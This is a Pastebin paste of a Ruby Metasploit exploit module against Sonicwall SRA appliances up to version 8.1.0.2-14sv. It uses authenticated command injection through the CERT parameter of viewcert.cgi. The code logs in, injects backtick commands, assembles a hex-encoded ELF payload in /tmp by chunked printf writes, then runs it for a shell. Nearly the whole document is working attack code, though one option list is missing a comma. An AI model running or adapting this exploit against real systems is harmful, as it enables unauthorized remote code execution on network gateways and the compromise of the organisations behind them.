Advertisement
Guest User

Untitled

a guest
Feb 22nd, 2017
3,812
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 6.18 KB | None | 0 0
  1. # Exploit Title: Sonicwall viewcert.cgi CGI Remote Command Injection Vulnerability
  2. # Date: 12/24/2016
  3. # Exploit Author: xort @ Critical Start
  4. # Vendor Homepage: www.sonicwall.com
  5. # Software Link: sonicwall.com/products/sra-virtual-appliance
  6. # Version: 8.1.0.2-14sv
  7. # Tested on: 8.1.0.2-14sv
  8. #            
  9. # CVE : (awaiting cve)
  10.  
  11. # vuln: viewcert.cgi / CERT parameter
  12.  
  13. # Description PostAuth Sonicwall SRA <= v8.1.0.2-14sv. This exploit leverages a command injection bug.
  14. #
  15. # xort @ Critical Start
  16.  
  17.  
  18.  
  19.  
  20. require 'msf/core'
  21.  
  22. class MetasploitModule < Msf::Exploit::Remote
  23.     Rank = ExcellentRanking
  24.     include  Exploit::Remote::Tcp
  25.         include Msf::Exploit::Remote::HttpClient
  26.  
  27.     def initialize(info = {})
  28.         super(update_info(info,
  29.             'Name'           => 'Sonicwall SRA <= v8.1.0.2-14sv viewcert.cgi remote exploit',
  30.                     'Description'    => %q{
  31.                     This module exploits a remote command execution vulnerability in
  32.                 the Sonicwall SRA Appliance Version <=  v8.1.0.2-14sv. The vulnerability exist in
  33.                 a section of the machine's administrative interface for performing configurations
  34.                 related to on-connect scripts to be launched for users' connecting.
  35.             },
  36.             'Author'         =>
  37.                 [
  38.                     'xort@Critical Start', # vuln + metasploit module
  39.                 ],
  40.             'Version'        => '$Revision: 1 $',
  41.             'References'     =>
  42.                 [
  43.                     [ 'none', 'none'],
  44.                 ],
  45.             'Platform'      => [ 'linux'],
  46.             'Privileged'     => true,
  47.              'Arch'          => [ ARCH_X86 ],
  48.                         'SessionTypes'  => [ 'shell' ],
  49.                         'Privileged'     => false,
  50.  
  51.                 'Payload'        =>
  52.                                 {
  53.                                   'Compat' =>
  54.                                   {
  55.                                         'ConnectionType' => 'find',
  56.                                   }
  57.                                 },
  58.  
  59.             'Targets'        =>
  60.                 [
  61.                     ['Linux Universal',
  62.                         {
  63.                                 'Arch' => ARCH_X86,
  64.                                 'Platform' => 'linux'
  65.                         }
  66.                     ],
  67.                 ],
  68.             'DefaultTarget' => 0))
  69.  
  70.             register_options(
  71.                 [
  72.                     OptString.new('PASSWORD', [ false, 'Device password', "" ]),   
  73.                         OptString.new('USERNAME', [ true, 'Device password', "admin" ]),   
  74.                     OptString.new('CMD', [ false, 'Command to execute', "" ])
  75.                     Opt::RPORT(443),
  76.                 ], self.class)
  77.     end
  78.  
  79.         def do_login(username, password_clear)
  80.                 vprint_status( "Logging into machine with credentials...\n" )
  81.  
  82.                 # vars
  83.                 timeout = 1550;
  84.  
  85.                 # send request  
  86.                 res = send_request_cgi(
  87.                 {
  88.                       'method'  => 'POST',
  89.                       'uri'     => "/cgi-bin/userLogin",
  90.               'headers' => {
  91.                'Connection' => 'close',
  92.                'Content-Type' => 'application/x-www-form-urlencoded',
  93.                'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0',
  94.                   },
  95.                       'vars_post' => {
  96.                'username' => username,
  97.                'password' => password_clear,
  98.                'domain' => 'LocalDomain',
  99.                'loginButton' => 'Login',
  100.                'state' => 'login',
  101.                'login' => 'true',
  102.                'VerifyCert' => '0',
  103.                'portalname' => 'VirtualOffice',
  104.                'ajax' => 'true'
  105.                },
  106.                 }, timeout)
  107.  
  108.         swap = res.headers['Set-Cookie'].split('\n').grep(/(.*)swap=([^;]+);/){$2}[0]
  109.        
  110.                 return swap
  111.         end
  112.  
  113.  
  114.     def run_command(swap_cookie, cmd)
  115.  
  116.                 # vars
  117.                 timeout = 1550;
  118.  
  119.                 res = send_request_cgi({
  120.                    'method' => 'POST',
  121.                    'uri'    => "/cgi-bin/viewcert",
  122.                    'data' => "buttontype=delete&CERT=newcert-1`#{cmd}`",
  123.                    'headers' =>
  124.                         {
  125.                                 'Cookie' => "swap=#{swap_cookie}",
  126.                         },
  127.                 }, timeout)
  128.     end
  129.  
  130.     def run_command_spliced(swap_cookie, cmd)
  131.  
  132.               write_mode = ">"
  133.               dump_file = "/tmp/qq"
  134.           reqs = 0
  135.  
  136.               cmd_encoded = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
  137.  
  138.               for cmd_chunk in cmd_encoded.split(/(....................................)/)
  139.  
  140.                         cmd_new = "printf \"#{cmd_chunk}\"#{write_mode}#{dump_file}"
  141.             reqs += 1
  142.  
  143.             vprint_status("Running Command (#{reqs})\n")
  144.  
  145.                         # set to normal append for loops after the first round
  146.                         if write_mode == ">"
  147.                                 write_mode = ">>"
  148.                         end
  149.  
  150.                         # add cmd to array to be exected later          
  151.                         run_command(swap_cookie, cmd_new)
  152.                end
  153. #       vprint_status("Running Final Command ...\n")
  154.  
  155.                 # execute payload stored at dump_file
  156.                 run_command(swap_cookie, "chmod +x /tmp/qq; sh /tmp/qq")
  157.  
  158.     end
  159.  
  160.     def exploit
  161.         # timeout
  162.         timeout = 1550;
  163.  
  164.         # params
  165.         password_clear = datastore['PASSWORD']
  166.         user = datastore['USERNAME']
  167.  
  168.         # do authentication    
  169.         swap_cookie = do_login(user, password_clear)
  170.    
  171.         vprint_status("authenticated 'swap' cookie: #{swap_cookie}\n")
  172.            
  173.          #if no 'CMD' string - add code for root shell
  174.                 if not datastore['CMD'].nil? and not datastore['CMD'].empty?
  175.  
  176.                         cmd = datastore['CMD']
  177.  
  178.                         # Encode cmd payload
  179.                         encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
  180.  
  181.                         # kill stale calls to bdump from previous exploit calls for re-use
  182.                         run_command(swap_cookie, ("sudo /bin/rm -f /tmp/n; printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n; /tmp/n" ))
  183.  
  184.                 else
  185.                         # Encode payload to ELF file for deployment
  186.                         elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
  187.                         encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
  188.  
  189.  
  190.                         run_command_spliced(swap_cookie, "printf \"#{encoded_elf}\">/tmp/m;chmod +rx /tmp/m;/tmp/m")
  191.             # wait for magic
  192.                         handler
  193.                 end
  194.     end
  195. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement